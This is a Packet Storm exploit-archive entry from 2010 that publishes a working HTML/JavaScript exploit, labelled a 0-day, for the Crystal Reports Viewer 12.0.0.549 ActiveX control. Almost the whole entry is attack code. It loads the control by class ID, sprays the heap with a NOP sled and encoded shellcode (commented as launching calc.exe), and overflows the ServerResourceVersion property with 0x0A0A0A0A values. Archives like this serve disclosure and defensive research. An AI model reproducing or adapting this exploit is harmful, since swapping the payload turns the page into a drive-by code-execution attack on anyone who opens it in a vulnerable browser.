Crystal Reports Viewer 12.0.0.549 Active-X Exploit

2010-12-13T00:00:00
ID PACKETSTORM:96688
Type packetstorm
Reporter Dr_IDE
Modified 2010-12-13T00:00:00

Description

                                        
                                            `<!--  
Crystal Reports Viewer 12.0.0.549 Activex Exploit (PrintControl.dll) 0-day  
By = Dr_IDE  
File = "C:\Program Files\BusinessObjects\Common\4.0\crystalreportviewers12\ActiveXControls\PrintControl.dll"  
method = "ServerResourceVersion"  
progid = "CrystalPrintControlLib.CrystalPrintControl"  
Site = http://www.sap.com  
Tested On = Windows XPSP3 VM with IE 7.0.5730.13  
Notes = In my testing it was not 100% reliable.  
-->  
  
  
<html>  
<object id='target' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>  
<script>  
//payload is windows/exec cmd=calc.exe  
shellcode = unescape(  
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+  
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+  
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+  
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+  
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+  
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+  
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+  
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');  
  
nops=unescape('%u9090%u9090');  
headersize = 20;  
slackspace= headersize + shellcode.length;  
  
while(nops.length < slackspace) nops+= nops;  
fillblock= nops.substring(0, slackspace);  
block= nops.substring(0, nops.length- slackspace);  
while( block.length+ slackspace<0x40000) block= block+ block+fillblock;  
memory=new Array();  
for( counter=0; counter<300; counter++) memory[counter]= block +shellcode;  
ret='';  
for( counter=0; counter<=2000; counter++)  
ret+=unescape('%u0A0A%u0A0A');  
  
target.ServerResourceVersion = ret;  
</script>  
</html>  
  
`